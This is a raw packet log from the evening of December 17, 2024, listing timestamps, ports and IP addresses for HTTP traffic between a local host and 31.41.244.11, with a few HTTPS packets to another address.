Dec 17, 2024 22:06:24.460124016 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.460160971 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.460175037 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.460191011 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.460330009 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.460350037 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.460422039 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.461146116 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.461196899 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.461304903 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.461344957 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.462224960 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.462271929 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.462400913 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.462450027 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.463104963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.463190079 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.463270903 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.463318110 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.463701963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.463720083 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.463756084 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.464052916 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.464072943 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.464134932 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.465068102 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.465132952 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.465178013 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.466070890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.466089964 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.466130972 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.467030048 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.467086077 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.467257023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.467294931 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.468117952 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.468137026 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.468179941 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.469063997 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.469082117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.469125986 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.470086098 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.470104933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.470144033 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.470159054 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.471076965 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.471124887 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.471146107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.471210003 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.471828938 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:24.471906900 CET	49800	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:24.472081900 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.472101927 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.472119093 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.472135067 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.473079920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.473117113 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.473242044 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.473287106 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.473896980 CET	49800	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:24.473907948 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:24.474107981 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.474127054 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.474159002 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.474174023 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.474234104 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:24.475045919 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.475121021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.475167036 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.476088047 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.476126909 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.476217985 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.476259947 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.476598978 CET	49800	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:24.476639032 CET	49800	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:24.476833105 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:24.477094889 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.477142096 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.477211952 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.477499962 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.478064060 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.478133917 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.478308916 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.478391886 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.479058981 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.479131937 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.479223967 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.479304075 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.480036974 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.480142117 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.480262995 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.480334997 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.481034040 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.481084108 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.481652021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.481712103 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.482153893 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.482198000 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.482388020 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.482435942 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.483194113 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.483213902 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.483230114 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.483300924 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.484179974 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.484234095 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.484239101 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.484272003 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.485080004 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.485096931 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.485131025 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.485156059 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.486124039 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.486176968 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.486449003 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.486498117 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.487132072 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.487149954 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.487171888 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.487193108 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.488121986 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.488159895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.488159895 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.488194942 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.489059925 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.489115000 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.489161015 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.490072966 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.490111113 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.490446091 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.490681887 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.491136074 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.491156101 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.491194963 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.492070913 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.492120981 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.492222071 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.492268085 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.493100882 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.493149042 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.493282080 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.493324995 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.494060040 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.494111061 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.494333029 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.494411945 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.495160103 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.495209932 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.495368004 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.495415926 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.496078968 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.496129036 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.496222019 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.496267080 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.497126102 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.497158051 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.497174025 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.497190952 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.498156071 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.498203993 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.498532057 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.498572111 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.499131918 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.499183893 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.499291897 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.499336004 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.500138044 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.500195026 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.500202894 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.500338078 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.501121044 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.501370907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.501399040 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.501413107 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.502063990 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.502108097 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.645551920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.645617962 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.645694971 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.645863056 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.646060944 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.646106005 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.646922112 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.647068977 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.647114038 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.647871971 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.647916079 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.648164034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.648308992 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.648889065 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.648960114 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.649105072 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.649152040 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.649899006 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.649939060 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.650291920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.650835991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.650880098 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.651074886 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.651909113 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.651956081 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.651964903 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.651994944 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.652945995 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.653095961 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.653146029 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.653889894 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.653930902 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.654032946 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.654083014 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.654921055 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.654939890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.654977083 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.655927896 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.655947924 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.655987978 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.656958103 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.657001019 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.657058954 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.657097101 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.657891035 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.657929897 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.658107042 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.658145905 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.658946991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.658988953 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.659065008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.659104109 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.659893036 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.659923077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.659930944 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.659960032 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.660873890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.660914898 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.660993099 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.661027908 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.661894083 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.661935091 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.662122965 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.662189960 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.662858963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.662898064 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.663053989 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.663090944 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.663877964 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.663925886 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.664047956 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.664083004 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.664974928 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.664993048 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.665015936 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.665031910 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.665916920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.665936947 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.665957928 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.665973902 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.666867018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.666908979 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.667344093 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.667380095 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.667934895 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.667974949 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.668040037 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.668077946 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.669152975 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.669173002 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.669193029 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.669207096 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.669955015 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.669974089 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.669994116 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.670007944 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.670916080 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.670934916 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.670954943 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.670968056 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.671941996 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.671960115 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.671983957 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.671996117 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.673017979 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.673037052 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.673058033 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.673079967 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.673923016 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.673962116 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.674078941 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.674125910 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.674928904 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.674964905 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.674998045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.675034046 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.676013947 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.676033020 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.676059961 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.676110983 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.676939964 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.676959038 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.676980972 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.677002907 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.677922964 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.677963018 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.677985907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.678019047 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.678946018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.678966999 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.678992987 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.679014921 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.679933071 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.679980040 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.680035114 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.680071115 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.680932045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.680978060 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.681010962 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.681044102 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.681898117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.681945086 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.681961060 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.681993008 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.682921886 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.682967901 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.683049917 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.683085918 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.683943033 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.683960915 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.683985949 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.684001923 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.684916019 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.684964895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.685210943 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.685247898 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.685887098 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.685930967 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.685996056 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.686033010 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.686945915 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.686964989 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.686995029 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.687019110 CET	49793	80	192.168.2.4	31.41.244.11
